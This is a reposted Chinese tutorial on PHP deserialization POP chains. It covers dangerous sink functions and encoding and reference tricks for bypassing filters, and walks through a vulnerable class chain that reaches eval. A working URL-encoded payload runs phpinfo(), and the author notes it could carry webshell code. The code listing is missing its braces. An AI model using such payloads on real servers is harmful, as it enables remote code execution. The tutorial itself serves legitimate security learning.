php反序列化漏洞之pop链
Posted 奋斗的小智
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php反序列化漏洞之pop链相关的知识,希望对你有一定的参考价值。
目录
2、反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码
POP链简介
pop面向属性编程:
常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。
pop chain
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
pop链利用技巧
1、在pop链中出现的方法:
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()
2、反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码
php 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\\72";
3、深浅copy
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;
4、利用php伪协议
配合PHP伪协议实现文件包含、命令执行等漏洞。
POP键构造复现:
例子1:
<?php
class main
protected $ClassObj;
function __construct()
$this->ClassObj = new normal();
function __destruct()
$this->ClassObj->action();
class normal
function action()
echo "hello bmjoker";
class evil
private $data;
function action()
eval($this->data);
//$a = new main();
unserialize($_GET['a']);
?>
分析:
代码审计;针对以上代码我首先看到 eval这个危险函数 ,它是命令执行方法函数,而且不在魔术方法中的,eval 在action 函数中的,而action函数又在evil类中,也就是说要执行eval,那必须要执行action函数,那我们继续看代码,发现action函数也在normal类中的,而我们的__destruct()析构函数执行方式是(析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用),这个函数是必须执行的,__destruct()在程序结束时会去调用normal类中的action()方法,而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的目的。
大概payload为:
class main
protected $ClassObj = new evil();
class evil
private $date = 'phpinfo();';
特别注意:我在构建payload时候,提交的时候为空(\\x00)显示为%20 它是空格的意思,第一次提交出现无法解析,我没有注意到,这里我说出来,大家可以避免这个问题)
1. 受Private修饰的私有成员,序列化时: \\x00 + [私有成员所在类名] + \\x00 [变量名]
2. 受Protected修饰的成员,序列化时:\\x00 + * + \\x00 + [变量名]
其中,"\\x00"代表ASCII为0的值,即空字节," * " 必不可少。
最后我们的payload为:
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
结果:(phpinfo();内容可以改为木马代码)
还有几道有特点的题,我还没搞明白,掌握后我再整理。
以上是关于php反序列化漏洞之pop链的主要内容,如果未能解决你的问题,请参考以下文章
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞